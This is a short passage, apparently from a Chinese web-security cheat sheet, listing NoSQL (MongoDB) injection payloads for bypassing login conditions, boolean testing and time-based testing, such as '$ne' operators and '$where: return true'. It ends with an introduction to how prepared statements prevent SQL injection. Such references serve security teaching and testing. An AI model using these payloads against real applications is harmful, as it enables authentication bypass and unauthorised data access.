- 绕过限制条件
{"username": "user"} => {"username": {"ne": "fakeuser"}}
{"$where": "return true"}
- 测试用字符
'"\/$[].>
- 布尔测试常用
{"$ne": -1}
{"$in": []}
{"$where": "return true"}
{"$or": [{},{"foo":"1"}]}
- 时间
{"$where": "sleep(100)"}
下一节:SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。